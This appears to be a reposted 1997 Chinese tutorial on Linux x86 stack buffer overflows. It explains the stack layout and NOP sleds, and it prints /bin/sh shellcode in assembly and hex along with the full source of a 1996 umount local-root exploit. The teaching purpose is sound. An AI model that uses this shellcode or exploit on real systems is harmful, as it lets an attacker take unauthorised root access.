分享
 
 
 

Linux缓冲区溢出

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

本文内容仅用于教育目的。作者不保证内容的正确性。任何情况下,作者不

为由于使用文中内容而引起的任何破坏或问题负责。使用本文内容的风险由使用

者自己承担。

计算机应用工作室1997年版权所有

##########################################

缓冲区溢出(buffer overflow)机理分析

##########################################

Only 1997.7.19

Only.bbs@bbs.sjtu.edu.cn

1.什么是缓冲区溢出?

~~~~~~~~~~~~~~~~~~~

buffer overflow,buffer overrun,smash the stack,trash the stack,

scribble the stack, mangle the stack,spam,alias bug,fandango on core,

memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手

段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程

序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区

溢出进行的攻击占所有系统攻击总数的80%以上。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程

序:

example1.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

----------------------------------------------------------------------

上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度

大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的

标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的

getc(),fgetc(),getchar()等。

当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault

错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行

一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限

的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel

x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应

修改。

2.制造缓冲区溢出

~~~~~~~~~~~~~~~~

一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程

序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈

来存放。在内存中,它们的位置是:

+------------------+ 内存低端

| 程序段 |

|------------------|

| 数据段 |

|------------------|

| 堆栈 |

+------------------+ 内存高端

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后

保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄

存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变

量留出一定空间,把SP减去适当的数值。以下面程序为例:

example2.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

----------------------------------------------------------------------

当调用函数function()时,堆栈如下:

低内存端 buffer sfp ret *str 高内存端

<------ [ ][ ][ ][ ]

栈顶 栈底

不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的

出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp,

ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141,

这超出了程序的地址空间,所以出现段错误。

3.通过缓冲区溢出获得用户SHELL

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内

容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。

低内存端 buffer sfp ret *str 高内存端

<------ [ ][ ][ ][ ]

栈顶 ^ | 栈底

|________________________|

通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码

example3.c

----------------------------------------------------------------------

void main() {

__asm__("

jmp 0x1f # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb $0xb,%al # 2 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

xorl %ebx,%ebx # 2 bytes

movl %ebx,%eax # 2 bytes

inc %eax # 1 bytes

int $0x80 # 2 bytes

call -0x24 # 5 bytes

.string \"/bin/sh\" # 8 bytes

# 46 bytes total

");

}

----------------------------------------------------------------------

将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

example4.c

----------------------------------------------------------------------

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

----------------------------------------------------------------------

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码

放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢

出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从

strcpy()中返回时,就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放

入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过

反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进

行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码

前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令

后程序将激活shell进程。这样就大大增加了猜中的可能性。

低内存端 buffer sfp ret *str 高内存端

<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]

栈顶 ^ | 栈底

|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用

了系统程序mount的漏洞:

example5.c

----------------------------------------------------------------------

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

u_long get_esp()

{

__asm__("movl %esp, %eax");

}

main(int argc, char **argv)

{

u_char execshell[] =

"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

int i;

int ofs = DEFAULT_OFFSET;

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory\n");

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

(void)alarm((u_int)0);

printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");

execl(PATH_MOUNT, "mount", buff, NULL);

}

----------------------------------------------------------------------

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区

buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望

程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成

mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。

由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将

获得一个具有root权限的shell。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有